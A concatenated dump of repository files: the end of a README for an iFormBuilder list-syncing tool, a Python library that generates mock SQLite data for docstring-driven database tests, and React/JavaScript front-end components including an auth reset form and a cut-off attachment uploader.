- `sort_order` - The sort order for options within each unique `name` list. The sort order does not need to be zero-indexed or sequential, but each `sort_order` value must be unique within the list. For example, sort order values of `1, 3, 4, 6` for an option list would be valid and would create a sort order in the destination option list of `0, 1, 2, 3`. However, a sort order of `1, 1, 2, 3` would produce an error.
- `condition_value` - Any conditional logic to be applied to each option.
### Configuration file
The program is controlled by an external INI configuration file. The example `settings.ini` file includes comments for each of these options.
### Program execution
The executable file `ifb_list_syncer.exe` requires two command line arguments:
1 - The directory containing the input INI file.
2 - The filename of the input INI file.
The included batch file `ifb_list_syncer.BAT` demonstrates how to call the executable, using the `%CD%` variable to dynamically retrieve the current program directory. A `pause` statement is also included to prevent the console window from closing, allowing the viewer to observe the program feedback. If placing this batch file on Task Scheduler, removing the `pause` statement is recommended.
## API Consumption
The number of API calls used by this program is as follows:
- Each time the program runs:
- 1 call to generate an API access token.
- 1 call to get a list of all option lists in the profile.
- For each unique option list:
- If the program needs to create a new option list:
- 1 call to create a new option list.
- 1 call per 1000 options added to the option list.
- Else if the option list already exists:
- 1 call per 1000 options added to the option list.
- 1 call per 1000 options updated in the option list.
The number of API calls used is reported in the console each time the program runs. | 78a1ce5c7381d317fb42a21da6f9f83a8ac467ef | [
"Markdown",
"Python",
"INI"
] | 6 | INI | bdevoe/ifb_syncer | e7606c954a59c09fe8c7e21925a48423d2678af6 | ae262489dcab752599c0313071efc0775c3ea225 |
refs/heads/master | <file_sep>r"""Insert mock data into database.
Inserts into the tables without FKs first:
>>> c = Schema("Country", [Column("code", "TEXT", None),
... Column("name", "TEXT", None)])
>>> u = Schema("User", [Column("name", "TEXT", None),
... Column("country", "TEXT", Reference(c, "code"))])
>>> o = Schema("Order", [Column("id", "INT", None),
... Column("user", "TEXT", Reference(u, "name"))])
>>> order({c, u, o})
[Schema(table='Country', ...), Schema(table='User', ...), Schema(table='Order', ...)]
>>> connection = sqlite3.connect(":memory:")
>>> _ = connection.execute("CREATE TABLE Country (code TEXT, name TEXT)")
>>> _ = connection.execute("CREATE TABLE User (name TEXT, country TEXT REFERENCES Country(code))")
>>> rows = {c: [{"code": "GB", "name": "Great Britain"}],
... u: [{"name": "Bob", "country": "GB"},
... {"name": "Jim", "country": "GB"}]}
>>> insert(connection, rows)
>>> list(connection.execute("SELECT code, name FROM Country"))
[('GB', 'Great Britain')]
>>> list(connection.execute("SELECT name, country FROM User"))
[('Bob', 'GB'), ('Jim', 'GB')]
"""
import toposort
def order(schemas):
dependencies = {s: {c.references.table for c in s.columns if c.references}
for s in schemas}
return toposort.toposort_flatten(dependencies)
def insert(connection, rows):
for schema in order(rows):
rows_ = rows[schema]
connection.executemany("""
INSERT INTO {table} ({columns})
VALUES ({placeholders})
""".format(table=schema.table,
columns=", ".join(c.name for c in schema.columns),
placeholders=", ".join(":{}".format(c.name) for c in schema.columns)),
rows_)
if __name__ == "__main__":
import sqlite3
from infer import Schema, Column, Reference
import doctest
doctest.testmod(optionflags=doctest.ELLIPSIS |
doctest.NORMALIZE_WHITESPACE |
doctest.REPORT_NDIFF)
<file_sep>r"""Compute mock data for a table.
SQLite3 types are supported (blobs are in hex):
>>> s = Schema("Table", [Column("bytes", "BLOB", None),
... Column("int", "INTEGER", None),
... Column("float", "REAL", None),
... Column("str", "TEXT", None)])
>>> r = {"bytes": "cafebabe", "int": "1", "float": "1.5", "str": "cafebabe"}
>>> rs_, _ = expand(s, [r], {})
>>> rs_ == [{"bytes": b"\xca\xfe\xba\xbe", "int": 1, "float": 1.5, "str": "cafebabe"}]
True
Placeholders like ``:identifier`` are expanded into distinct values:
>>> rs = [{"int": ":a"}, {"int": ":a"}, {"int": ":b"}]
>>> [a, b, c], p = expand(s, rs, {})
>>> len(p.values()) == len(set(p.values()))
True
>>> a["int"] == b["int"]
True
>>> a["int"] == c["int"]
False
Missing columns are filled in:
>>> r = {"int": "1"}
>>> [a], _ = expand(s, [r], {})
>>> a.keys() ^ {"bytes", "int", "float", "str"}
set()
Foreign keys cause other tables to require mocking:
>>> c = Schema("Country", [Column("code", "TEXT", None),
... Column("name", "TEXT", None)])
>>> u = Schema("User", [Column("name", "TEXT", None),
... Column("country", "TEXT", Reference(c, "code"))])
>>> ur = {"name": "Bob", "country": "GB"}
>>> rs, _ = references({u: [ur], c: []}, {})
>>> [a] = rs[c]
>>> a["code"]
'GB'
>>> "name" in a
True
Rows generated by mocking a foreign key can generate rows themselves:
>>> o = Schema("Order", [Column("id", "INT", None),
... Column("user", "TEXT", Reference(u, "name"))])
>>> or_ = {"id": 1, "user": "Bob"}
>>> rs, _ = references({o: [or_], u: [], c: []}, {})
>>> len(rs[c])
1
"""
import collections
import re
isplaceholder = re.compile(r"^:[a-z_][a-z0-9_]*$").match
Schema = collections.namedtuple("Schema", "table columns")
Schema.__hash__ = object.__hash__ # TODO: This better (columns is not hashable).
# TODO: Nullable.
# TODO: Check constraints.
Column = collections.namedtuple("Column", "name type references")
Reference = collections.namedtuple("Reference", "table column")
cast = {
"BLOB": lambda s: bytes(bytearray.fromhex(s)),
"INTEGER": int,
"REAL": float,
"TEXT": str,
}
# TODO: Construct more interesting values.
construct = {
"BLOB": lambda i: b"\x00" * i,
"INTEGER": lambda i: i,
"REAL": lambda i: float(i),
"TEXT": lambda i: " " * i,
}
# TODO: Take DB instead of schema.
# For SQLite we have SELECT sql FROM sqlite_master WHERE name='table';
# TODO: Take existing DB rows (note given SELECT we need to truncate the table).
# TODO: Return bound placeholders.
def expand(schema, rows, placeholders):
placeholders = placeholders.copy()
rows_ = []
for row in rows:
row_ = {}
for column in schema.columns:
try:
value = row[column.name]
except KeyError:
# TODO: Prefer the default, or NULL if nullable.
# TODO: Provide a QuickCheck-like mode where these vary
# randomly. The values should not affect the test.
row_[column.name] = construct[column.type](0)
else:
if isplaceholder(value):
if value not in placeholders:
placeholders[value] = construct[column.type](len(placeholders))
row_[column.name] = placeholders[value]
else:
row_[column.name] = cast[column.type](value)
rows_.append(row_)
return rows_, placeholders
def references(partial, placeholders):
inferred = {t: [] for t in partial}
# TODO: Composite keys.
# TODO: Rows should be map of primary key to other values.
# TODO: Do `expand` on `rows`?
for table, rows in partial.items():
foreign_keys = [c for c in table.columns if c.references]
for row in rows:
for column in foreign_keys:
value = row[column.name]
# NULL doesn't have a referee.
if value is None: continue
# Does the referee exist?
# FIXME: O(n²)
if (all(r[column.references.column] != value for r in partial[column.references.table]) and
all(r[column.references.column] != value for r in inferred[column.references.table])):
inferred[column.references.table].append({column.references.column: value})
if any(inferred.values()):
for table, rows in inferred.items():
inferred[table], placeholders = expand(table, rows, placeholders)
for table, rows in references(inferred, placeholders)[0].items():
for row in rows:
# FIXME: O(n²)
if all(r != row for r in inferred[table]):
inferred[table].append(row)
return {t: rs + inferred[t] for t, rs in partial.items()}, placeholders
if __name__ == "__main__":
import doctest
doctest.testmod(optionflags=doctest.ELLIPSIS |
doctest.NORMALIZE_WHITESPACE |
doctest.REPORT_NDIFF)
<file_sep>r"""Parse ASCII tables.
Rows are pipe-separated cells:
>>> row.parse_strict("|Bob|21|")
['Bob', '21']
Padding is ignored:
>>> row.parse_strict("| Bob | 21 |")
['Bob', '21']
Outer borders are optional:
>>> row.parse_strict("Bob | 21")
['Bob', '21']
Body is many rows:
>>> body.parse_strict("\n".join([
... "Bob | 21",
... "Jim | 22",
... ]))
[['Bob', '21'], ['Jim', '22']]
Headers must be separated from the body:
>>> _ = table.parse_strict("\n".join([
... "Name | Age",
... "----------",
... "Bob | 21 ",
... "Jim | 22 ",
... ]))
>>> _ == [{'Name': 'Bob', 'Age': '21'}, {'Name': 'Jim', 'Age': '22'}]
True
"""
import parsec as P
def maybe(p):
"""Repeat a parser 0 or 1 times."""
return P.times(p, 0, 1)
def _table(result):
"""Convert a parse result into a ``Table``."""
(headers,), body = result
# TODO: Ensure that headers and rows have the same number of columns
# in the parser.
return [dict(zip(headers, row)) for row in body]
# TODO: Tidy these up.
csep = P.one_of("|")
padding = P.regex("[ \t]*")
content = P.regex("[^ |\n]([^|\n]*[^ |\n])?")
cell = padding.compose(content.skip(padding).parsecmap("".join))
row = maybe(csep).compose(P.separated(cell, csep, 2, end=False)).skip(maybe(csep))
rows = P.sepEndBy1(row, P.string("\n"))
body = rows
rsep = P.regex("[-+|]+\n?")
table = rsep.compose(P.separated(body, rsep, 2, 2).parsecmap(_table)).skip(rsep)
if __name__ == "__main__":
import doctest
doctest.testmod(optionflags=doctest.ELLIPSIS |
doctest.NORMALIZE_WHITESPACE |
doctest.REPORT_NDIFF)
<file_sep>r'''Decorator that parses SQL tests in docstrings.
>>> connection = sqlite3.connect(":memory:")
>>> connection.row_factory = sqlite3.Row
>>> _ = connection.execute("CREATE TABLE Country (code TEXT, name TEXT)")
>>> _ = connection.execute("CREATE TABLE User (name TEXT, country TEXT REFERENCES Country(code))")
>>> schemas = sqlite_schemas(connection)
Given sections are a sequence of ``SELECT *``s and resulting data:
>>> _ = given.parse_strict("\n".join([
... "SELECT * FROM Country;",
... "+------+---------------+",
... "| code | name |",
... "+------+---------------+",
... "| GB | Great Britain |",
... "+------+---------------+",
... "SELECT * FROM User;",
... "+------+---------+",
... "| name | country |",
... "+------+---------+",
... "| Bob | GB |",
... "+------+---------+",
... ]))
>>> _ == [("Country", [{"code": "GB", "name": "Great Britain"}]),
... ("User", [{"name": "Bob", "country": "GB"}])]
True
>>> @dbtest(connection)
... def test(countries, c, d):
... """
... SELECT * FROM User;
... +------+---------+
... | name | country |
... +------+---------+
... | Bob | :c |
... | Jim | :d |
... +------+---------+
...
... SELECT * FROM Country;
... """
... assert {c["code"] for c in countries} == {c, d}
>>> test()
Placeholders are shared between each ``SELECT``:
>>> @dbtest(connection)
... def test(user_countries, c):
... """
... SELECT * FROM Country;
... +------+------+
... | code | name |
... +------+------+
... | :c | USA |
... +------+------+
... SELECT * FROM User;
... +------+---------+
... | name | country |
... +------+---------+
... | Jim | :c |
... +------+---------+
...
... SELECT u.name, c.name FROM User u JOIN Country c on u.country=c.code;
... """
... [jim] = user_countries
... assert tuple(jim) == ("Jim", "USA")
>>> test()
'''
from functools import wraps
import re
import textwrap
import parsec as P
from infer import expand, references
from insert import insert
from parse import table
from db import name, sqlite_schemas
# TODO: Support naming columns (and enforce in `parse.table`).
# TODO: Support `JOIN`s to simplify typing?
# TODO: Flatten adjacent spaces pre-parse to enhance readability here.
select = P.regex(r"SELECT(\s)+\*(\s)+FROM(\s)+", re.I).compose(name).skip(P.regex(r"(\s)*;"))
given = P.many1(P.joint(select.skip(P.spaces()), table.skip(P.spaces())))
def dbtest(connection):
# TODO: Add a function to `db` that calls the appropriate `*_schemas` based
# on `type(connection)`.
schemas = {s.table: s for s in sqlite_schemas(connection)}
def decorate(f):
# TODO: Ensure that `dedent(__doc__).strip()` is what we want.
# TODO: Then.
given_, when_ = textwrap.dedent(f.__doc__).strip().split("\n\n")
given_ = given.parse_strict(given_)
placeholders = {}
rows = {s: [] for s in schemas.values()}
for table, rows_ in given_:
# TODO: Error if table is repeated. Implied by `SELECT *`.
schema = schemas[table]
rows[schema], placeholders = expand(schema, rows_, placeholders)
rows, placeholders = references(rows, placeholders)
@wraps(f)
def run():
# TODO: Truncate table before insert. Implied by `SELECT *`.
try:
# TODO: Skip the test if the given fails. There should
# be a failing test that covers the problem
# elsewhere.
insert(connection, rows)
# TODO: Actually parse, or at least split on semicolons.
statements = when_.split("\n")
results = []
for statement in statements:
results.append(list(connection.execute(statement)))
f(*results, **{k[1:]: v for k, v in placeholders.items()})
finally:
connection.rollback()
return run
return decorate
if __name__ == "__main__":
import sqlite3
import doctest
doctest.testmod(optionflags=doctest.ELLIPSIS |
doctest.NORMALIZE_WHITESPACE |
doctest.REPORT_NDIFF)
<file_sep>parsec==3.3
toposort==1.5
<file_sep>r"""Parse ``infer.Schema`` objects from a database.
>>> import sqlite3
>>> connection = sqlite3.connect(":memory:")
>>> _ = connection.execute("CREATE TABLE Country (code TEXT, name TEXT)")
>>> sqlite_schemas(connection)
[Schema(table='Country', columns=[Column(name='code', type='TEXT', references=None),
Column(name='name', type='TEXT', references=None)])]
>>> _ = connection.execute("CREATE TABLE User (name TEXT, country TEXT REFERENCES Country(code))")
>>> sqlite_schemas(connection)
[Schema(table='Country', columns=[...]),
Schema(table='User', columns=[Column(name='name', type='TEXT', references=None),
Column(name='country', type='TEXT', references=Reference(...))])]
"""
import re
import parsec as P
from infer import Schema, Column, Reference
from parse import maybe
name = P.regex(r"\w+")
# TODO: Tie this into the types in `infer.py`.
typ = P.string("BLOB") | P.string("INT") | P.string("REAL") | P.string("TEXT")
fk = P.regex("(\s)+REFERENCES(\s)+", re.I).compose(P.joint(name.skip(P.string("(")), name.skip(P.string(")"))))
column = P.joint(name.skip(P.spaces()), typ, maybe(fk))
# TODO: Extract the name out of CREATE TABLE.
create_table = P.regex(r"CREATE(\s)+TABLE(\s)+\w+(\s)*\(", re.I) \
.compose(P.sepBy1(column, P.regex(r"(\s)*,(\s)*"))) \
.skip(P.regex(r"(\s)*\)"))
def sqlite_schemas(connection):
# TODO: Does this fetch views?
declarations = connection.execute("""SELECT name, sql FROM sqlite_master""")
schemas = []
for name, declaration in declarations:
columns = []
# TODO: Primary keys, DEFAULT, NOT NULL, and check constraints.
for name_, typ, fk in create_table.parse_strict(declaration):
# FIXME: Assumes that the tables only reference prior tables.
if fk:
[[table_, name__]] = fk
schema_ = [s for s in schemas if s.table == table_][0]
references = Reference(schema_, name__)
else:
references = None
columns.append(Column(name_, typ, references))
schema = Schema(name, columns)
schemas.append(schema)
return schemas
if __name__ == "__main__":
import doctest
doctest.testmod(optionflags=doctest.ELLIPSIS |
doctest.NORMALIZE_WHITESPACE |
doctest.REPORT_NDIFF)
| 3cca0e1118226c3677c33439aee0989be02c4c87 | [
"Python",
"Text"
] | 6 | Python | mrgriffin/mock-db-data | e9ecc221c6249d5365996913a70f2ce7b0517380 | 57c64057a520945b1cb73594e8570ce84a0aee76 |
refs/heads/main | <file_sep>export const state = () => ({
content: "",
color: "",
snackVisible: false,
});
export const mutations = {
showMessage(state, data) {
state.content = data.content;
state.color = data.color;
state.snackVisible = true;
},
closeSnackbar(state) {
state.snackVisible = false;
},
};
export const getters = {
getContent: (state) => state.content,
getColor: (state) => state.color,
getVisibility: (state) => state.snackVisible,
};
| 217aef8b0a157c63e58ddbe700db1a06f99c2287 | [
"JavaScript"
] | 1 | JavaScript | josifovicmilan/svedocanstva-client | 14cb0f3f6abc5db6a84d80f2dfc54bde38dda70f | 2a2646d4104bcfc53145e7d8a2daa777284b57a5 |
refs/heads/master | <file_sep>package tests;
import org.testng.Assert;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import base.TestBase;
public class TestSigninPage extends TestBase {
@BeforeClass
public void classSetup(){
headerSection.signinLink.click();
}
@Test
public void testSigninWithValidCredentials() {
signinPage.signin("<EMAIL>", "365827");
Assert.assertTrue(signinPage.getCurrentUrl().contains("profile.php"));
headerSection.signoutLink.click();
}
@Test
public void testSigninWithoutValidCredential(){
headerSection.signinLink.click();
signinPage.signin("<EMAIL>", "36582");
Assert.assertEquals(driver.getTitle(), "SignIn | EliteCareer");
}
@Test
public void testSigninWithoutValidCredentialOne(){
signinPage.signin("<EMAIL>", "365827");
Assert.assertEquals(driver.getTitle(), "SignIn | EliteCareer");
}
@Test
public void testSigninWithoutValidCredentialTwo(){
signinPage.signin("<EMAIL>", "36582");
Assert.assertEquals(driver.getTitle(), "SignIn | EliteCareer");
}
@Test
public void testSigninWithoutValidCredentialThree(){
signinPage.signin("", "365827");
Assert.assertEquals(signinPage.errorMessage.get(0).getText(), "* Email can not be empty.");
}
@Test
public void testSigninWithoutValidCredentialFour(){
signinPage.signin("<EMAIL>", "");
Assert.assertEquals(signinPage.errorMessage.get(1).getText(), "* Password can not be empty.");
}
@Test
public void testWithEmtyCredential(){
signinPage.signin("", "");
Assert.assertEquals(signinPage.errorMessage.get(0).getText(), "* Email can not be empty.");
Assert.assertEquals(signinPage.errorMessage.get(1).getText(), "* Password can not be empty.");
}
}
<file_sep>package tests;
import org.testng.Assert;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import base.TestBase;
public class TestEmployerPage extends TestBase {
@BeforeClass
public void classSetup(){
headerSection.employer.click();
}
@Test
public void testEmployerPage(){
Assert.assertEquals(driver.getCurrentUrl(), "http://qa.elitecareer.net/employer.php");
}
}
| 259cdf3e74a7cdfd418c8c215bf7fba204122b50 | [
"Java"
] | 2 | Java | mdabedinny/regressionTest | 1ce96634b9e0b8085025ee9682e118572a748874 | 9bff42c9e1d05d4dcada8db152b6c0a0d8025a5d |
refs/heads/master | <repo_name>leonrinkel/nrf5-sdk<file_sep>/.vscode/undef.h
#ifdef __APPLE__
#undef __APPLE__
#endif
| 060e870b6838d2f1323994698c6bb5184e069bfd | [
"C"
] | 1 | C | leonrinkel/nrf5-sdk | cd24de36339db778bd77c75163d82c41cb6ad63c | b1d1c203f164438c61ee9902a676d4bba7c36464 |
refs/heads/master | <repo_name>elMepox/Telman_lab_3-4<file_sep>/MPI.py
from prettytable import PrettyTable
def f1(x, y):
return x ** 2 + y ** 2 - 4
def f2(x, y):
return x * y - 2
def alpha(x, y):
return x / (2 * (y ** 2 - x ** 2))
def betta(x, y):
return y / (x ** 2 - y ** 2)
def gamma(x, y):
return y / (2 * (x ** 2 - y ** 2))
def teta(x, y):
return x / (y ** 2 - x ** 2)
def x_next(x, y):
return x + f1(x, y) * alpha(x, y) + f2(x, y) * betta(x, y)
def y_next(x, y):
return y + f1(x, y) * gamma(x, y) + f2(x, y) * teta(x, y)
# See PyCharm help at https://www.jetbrains.com/help/pycharm/
if __name__ == "__main__":
E = 0.001
x = 3
y = 2
k = 0
result = PrettyTable()
result.field_names = ["k", "x(k)", "x(k+1)", " |x(k+1)-x(k)| ", "y(k)", "y(k+1)", " |y(k+1)-y(k)| "]
while abs(x_next(x, y) - x) > E or abs(y_next(x, y) - y) > E:
result.add_row([k, x, x_next(x, y), abs(x_next(x, y) - x), y, y_next(x, y), abs(y_next(x, y) - y)])
print(k,abs(x_next(x, y) - x), (y_next(x, y) - y))
new_x = x_next(x, y)
new_y = y_next(x, y)
x = new_x
y = new_y
k += 1
result.add_row([k, x, x_next(x, y), abs(x_next(x, y) - x), y, y_next(x, y), abs(y_next(x, y) - y)])
print(result)
<file_sep>/newton.py
from prettytable import PrettyTable
def f1(x, y):
return x ** 2 + y ** 2 - 4
def f2(x, y):
return x * y - 2
def x_next(x, y):
return x - 0.1*((x * f1(x, y) - y * f2(x, y)) / (2 * (x * x - y * y)))
def y_next(x, y):
return y - 0.1*((x * f2(x, y) - y * f1(x, y)) / (x * x - y * y))
if __name__ == "__main__":
E = 0.001
x = 3
y = 2
k = 0
result = PrettyTable()
result.field_names = ["k", "x(k)", "x(k+1)", " |x(k+1)-x(k)| ", "y(k)", "y(k+1)", " |y(k+1)-y(k)| "]
while abs(x_next(x, y) - x) > E or abs(y_next(x, y) - y) > E:
result.add_row([k, x, x_next(x, y), abs(x_next(x, y) - x), y, y_next(x, y), abs(y_next(x, y) - y)])
print(k, abs(x_next(x, y) - x), abs(y_next(x, y) - y))
new_x = x_next(x,y)
new_y = y_next(x,y)
x = new_x
y = new_y
k += 1
result.add_row([k, x, x_next(x, y), abs(x_next(x, y) - x), y, y_next(x, y), abs(y_next(x, y) - y)])
if k > 50:
print(result.get_string(start=k-50, end = k))
else:
print(result)
| 8bfc8e92c6278b26d06c9838b38063843999ca94 | [
"Python"
] | 2 | Python | elMepox/Telman_lab_3-4 | 2cbeaaf84b291aa127a83183df7a92514cb46cf7 | 6a201b459159852dd2c77a0d169e51589964d2c3 |
refs/heads/master | <repo_name>dragonmaster-alpha/emp-sig<file_sep>/src/utils/date-time.js
import { zonedTimeToUtc, format } from 'date-fns-tz';
const formatDate = (date) => format(date, 'yyyy-MM-dd HH:mm:ss.SSS');
const getClientTimeZone = () =>
Intl.DateTimeFormat().resolvedOptions().timeZone;
export const genCurrUTCTime = () => {
const currDate = formatDate(new Date());
const timeZone = getClientTimeZone();
const utcDate = zonedTimeToUtc(currDate, timeZone);
return utcDate.toISOString();
};
<file_sep>/src/components/ScrollButton/index.js
export { default as ScrollTop } from './ScrollTop';
export { default as HideOnScroll } from './HideOnScroll';
<file_sep>/src/pages/NotFound/index.js
import React from 'react';
import { withRouter } from 'react-router-dom';
import { Box, Typography, Button } from '@material-ui/core';
import { makeStyles } from '@material-ui/core/styles';
const useStyles = makeStyles((theme) => ({
root: {
flex: 1,
minHeight: '80vh',
textAlign: 'center',
marginTop: theme.spacing(10),
fontWeight: 700
}
}));
const NotFound = ({ history }) => {
const classes = useStyles();
const handleClick = () => history.push({ pathname: '/dashboard' });
return (
<Box className={classes.root}>
<Typography variant="h3">Page Not Found</Typography>
<Button color="primary" onClick={handleClick}>
Go Back To Dashboard
</Button>
</Box>
);
};
export default withRouter(NotFound);
<file_sep>/src/components/App/Footer/index.js
import React from 'react';
const AppFooter = () => {
return <>App foot</>;
};
export default AppFooter;
<file_sep>/src/pages/Package/style.js
import { makeStyles } from '@material-ui/core/styles';
import { lightBlue } from '@material-ui/core/colors';
const useStyles = makeStyles((theme) => ({
root: {
display: 'flex',
width: '100%'
},
header: {
position: 'absolute',
width: 'calc(100vw - 220px)',
height: 200,
background: theme.palette.blueGrey['900'],
color: 'white',
display: 'flex',
justifyContent: 'space-between',
padding: theme.spacing(5)
},
title: {
fontWeight: 700
},
search: {
padding: '2px 4px',
display: 'flex',
alignItems: 'center',
width: 400,
height: 40,
borderRadius: 40
},
input: {
marginLeft: theme.spacing(1),
flex: 1
},
iconButton: {
padding: 10
},
addButton: {
height: 40,
borderRadius: 40,
background: lightBlue['300'],
color: theme.palette.blueGrey['900'],
fontWeight: 500,
fontSize: '.75rem',
'&:hover': {
background: lightBlue['400']
}
},
saveButton: {
height: 40,
borderRadius: 40,
background: lightBlue['300'],
color: theme.palette.blueGrey['900'],
fontWeight: 500,
fontSize: '.75rem',
'&:hover': {
background: lightBlue['400']
},
'&:disabled': {
background: theme.palette.blueGrey['300'],
color: theme.palette.common.light
}
},
main: {
height: 'calc(100vh - 215px)',
position: 'relative',
top: 120,
borderRadius: 20
},
mainMd: {
width: '100%',
marginLeft: theme.spacing(5),
marginRight: theme.spacing(5)
},
mainSm: {
width: 'calc(100% - 550px)',
marginLeft: theme.spacing(5),
marginRight: theme.spacing(2)
},
previewRoot: {
position: 'relative',
top: 220,
maxHeight: 'calc(100vh - 315px)'
},
table: {
minWidth: 750,
padding: theme.spacing(1)
},
pagination: {
display: 'flex',
position: 'absolute',
bottom: 0,
right: 10
},
visuallyHidden: {
border: 0,
clip: 'rect(0 0 0 0)',
height: 1,
margin: -1,
overflow: 'hidden',
padding: 0,
position: 'absolute',
top: 20,
width: 1
},
container: {
width: '100%',
maxHeight: `calc(100vh - 300px)`
},
containerDense: {
maxHeight: `calc(100vh - 300px)`,
width: '60%'
}
}));
export default useStyles;
<file_sep>/src/pages/Package/Preview.js
import React from 'react';
import { Box, Typography, Button } from '@material-ui/core';
import JSONEditor from '@app/components/JSONEditor';
import useStyles from './style';
const PreviewPackage = ({ resources, onChange }) => {
const classes = useStyles();
const handleChange = (value) => {};
return (
<Box className={classes.previewRoot}>
<Box display="flex" justifyContent="space-between" alignItems="center">
<Typography variant="h6">Preview</Typography>
<Button size="small" onClick={() => onChange()}>
Close
</Button>
</Box>
<JSONEditor
disable={false}
resources={resources}
onChange={handleChange}
/>
</Box>
);
};
export default PreviewPackage;
<file_sep>/src/themes/index.js
import { createMuiTheme } from '@material-ui/core';
const theme = createMuiTheme({
palette: {
blueGrey: {
50: '#eceff1',
100: '#cfd8dc',
200: '#b0bec5',
300: '#90a4ae',
400: '#78909c',
500: '#607d8b',
600: '#546e7a',
700: '#455a64',
800: '#37474f',
900: '#263238'
}
}
});
export default theme;
<file_sep>/src/pages/Auth/index.js
export { default as LoginContainer } from './Login';
export { default as ForgotPasswordContainer } from './ForgotPassword';
<file_sep>/src/pages/Topology/District/style.js
import { makeStyles } from '@material-ui/core/styles';
import { green } from '@material-ui/core/colors';
const useStyles = makeStyles((theme) => ({
root: {
flex: 1,
padding: theme.spacing(3)
},
cardAction: {
display: 'flex',
justifyContent: 'space-between',
alignItems: 'center'
},
addBtn: {
color: theme.palette.common.white,
backgroundColor: theme.palette.blueGrey['500'],
'&:hover': {
background: theme.palette.blueGrey['500'],
color: theme.palette.blueGrey['50']
}
},
panelIcon: {
color: theme.palette.blueGrey['500'],
marginRight: theme.spacing(1)
},
searchBar: {
marginRight: theme.spacing(2)
},
panelTitle: {
color: theme.palette.blueGrey['500']
},
separator: {
marginTop: 5,
background: theme.palette.blueGrey['500'],
height: 2
},
main: {
display: 'flex',
justifyContent: 'center',
flexWrap: 'wrap'
},
card: {
width: 300,
margin: theme.spacing(1)
},
cardContent: {
minHeight: 150
},
inputArea: {
width: '100%',
marginBottom: theme.spacing(1)
},
textArea: {
minWidth: '100%',
maxWidth: '100%',
fontFamily: 'Roboto',
fontSize: 16,
paddingTop: 9,
paddingLeft: 12,
outlineColor: theme.palette.primary.main,
borderRadius: 5,
borderColor: '#c1bdbd'
},
dialogTitle: {
color: theme.palette.blueGrey['700'],
paddingBottom: theme.spacing(0)
},
dialogPaper: {
minHeight: '100vh',
maxHeight: '100vh',
position: 'absolute',
right: 0,
margin: 0,
borderRadius: 0
},
buttonSuccess: {
color: theme.palette.common.white,
backgroundColor: theme.palette.blueGrey['500'],
'&:hover': {
background: theme.palette.blueGrey['500'],
color: theme.palette.blueGrey['50']
}
},
buttonProgress: {
color: green[500],
position: 'absolute',
top: '50%',
left: '50%',
marginTop: -12,
marginLeft: -12
}
}));
export default useStyles;
<file_sep>/src/pages/Auth/ForgotPassword/SendVerification/index.js
import React, { useState } from 'react';
import TextField from '@material-ui/core/TextField';
import { Auth } from 'aws-amplify';
import Button from '@material-ui/core/Button';
import CircularProgress from '@material-ui/core/CircularProgress';
import { useInput } from '@app/utils/hooks/form';
import { DefaultCard } from '@app/components/Cards';
import useStyles from './style';
import { useSnackbar } from 'notistack';
import { Box, Typography } from '@material-ui/core';
const SendVerification = ({ handle }) => {
const classes = useStyles();
const [loading, setLoading] = useState(false);
const { enqueueSnackbar } = useSnackbar();
const { value: email, bind: bindEmail } = useInput('');
const handleSubmit = async (e) => {
try {
e.preventDefault();
setLoading(true);
await Auth.forgotPassword(email);
handle(email);
} catch (error) {
setLoading(false);
enqueueSnackbar(error.message, { variant: 'error' });
}
};
const validateEmail = () => {
return new RegExp(/[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,15}/g).test(email);
};
return (
<Box className={classes.root}>
<DefaultCard>
<Box className={classes.form}>
<Typography className={classes.title} variant="h6">
Reset your password
</Typography>
<TextField
error={!validateEmail() && email.length > 0}
className={classes.textfield}
label="Email"
{...bindEmail}
type="email"
helperText={
validateEmail() || !email.length > 0
? ''
: 'You must input correct email!'
}
/>
<Button
variant="contained"
className={classes.actionButton}
size="large"
onClick={handleSubmit}
disabled={loading}
>
{loading && <CircularProgress size={20} className={classes.mr20} />}
Send code
</Button>
</Box>
</DefaultCard>
</Box>
);
};
export default SendVerification;
<file_sep>/src/components/Forms/Attachment/index.js
import React, { useState, createRef, useEffect } from 'react';
import clsx from 'clsx';
import {
Box,
Grid,
Typography,
IconButton,
Divider,
List,
ListItem,
ListItemText,
ListItemIcon
} from '@material-ui/core';
import {
faPaperclip,
faImage,
faFilm,
faFilePdf
} from '@fortawesome/free-solid-svg-icons';
import { CloudUpload, Delete, GetApp } from '@material-ui/icons';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { LoadingCard } from '@app/components/Cards';
import { useSnackbar } from 'notistack';
import PreviewAttachment from './Preview';
import useStyles from './style';
const getIcon = (type) => {
if (
type === 'video/x-msvideo' ||
type === 'video/mpeg' ||
type === 'video/mp4'
)
return faFilm;
if (type === 'image/png' || type === 'image/jpeg') return faImage;
if (type === 'application/pdf') return faFilePdf;
return faPaperclip;
};
const AttachmentForm = ({ resources }) => {
const classes = useStyles();
const refUploader = createRef(null);
const { enqueueSnackbar } = useSnackbar();
const [loading, setLoading] = useState(false);
const [isDropping, setIsDropping] = useState(false);
const [canDelete, setCanDelete] = useState(false);
const [loadedData, setLoadedData] = useState([]);
const [selectedFile, setSelectedFile] = useState();
const [file, setFile] = useState();
useEffect(() => {
if (resources) {
setLoadedData(resources);
}
}, [resources]);
const handleDrag = (type, event) => {
event.preventDefault();
event.stopPropagation();
if (type === 'leave') setIsDropping(false);
if (type === 'over') setIsDropping(true);
};
const handleDrop = (event) => {
event.preventDefault();
event.stopPropagation();
setIsDropping(false);
if (event.dataTransfer.files.length !== 1) {
enqueueSnackbar('Invalide file count, it should be one file', {
variant: 'warning'
});
return;
}
setFile(event.dataTransfer.files[0]);
};
const handleFormAction = (type) => {
if (type === 'upload') {
refUploader.current.click();
}
if (type === 'download') {
const elDom = document.createElement('a');
elDom.setAttribute('href', selectedFile?.url);
elDom.setAttribute('download', '');
elDom.setAttribute('rel', 'noopener noreferrer');
elDom.click();
}
};
const handleFileUpload = () => {};
const handleElClick = (value) => {
setSelectedFile(value);
setCanDelete(true);
};
return (
<LoadingCard loading={loading} height={`calc(100vh - 330px)`}>
<Box display="flex" justifyContent="space-between" alignItems="center">
<Typography variant="h6" className={classes.title}>
<FontAwesomeIcon icon={faPaperclip} className={classes.icon} />
Attachments
</Typography>
<Box display={isDropping ? 'none' : 'block'}>
<IconButton
className={classes.actionBtn}
size="small"
onClick={() => handleFormAction('upload')}
>
<CloudUpload />
</IconButton>
<IconButton
className={classes.actionBtn}
size="small"
onClick={() => handleFormAction('download')}
disabled={!canDelete}
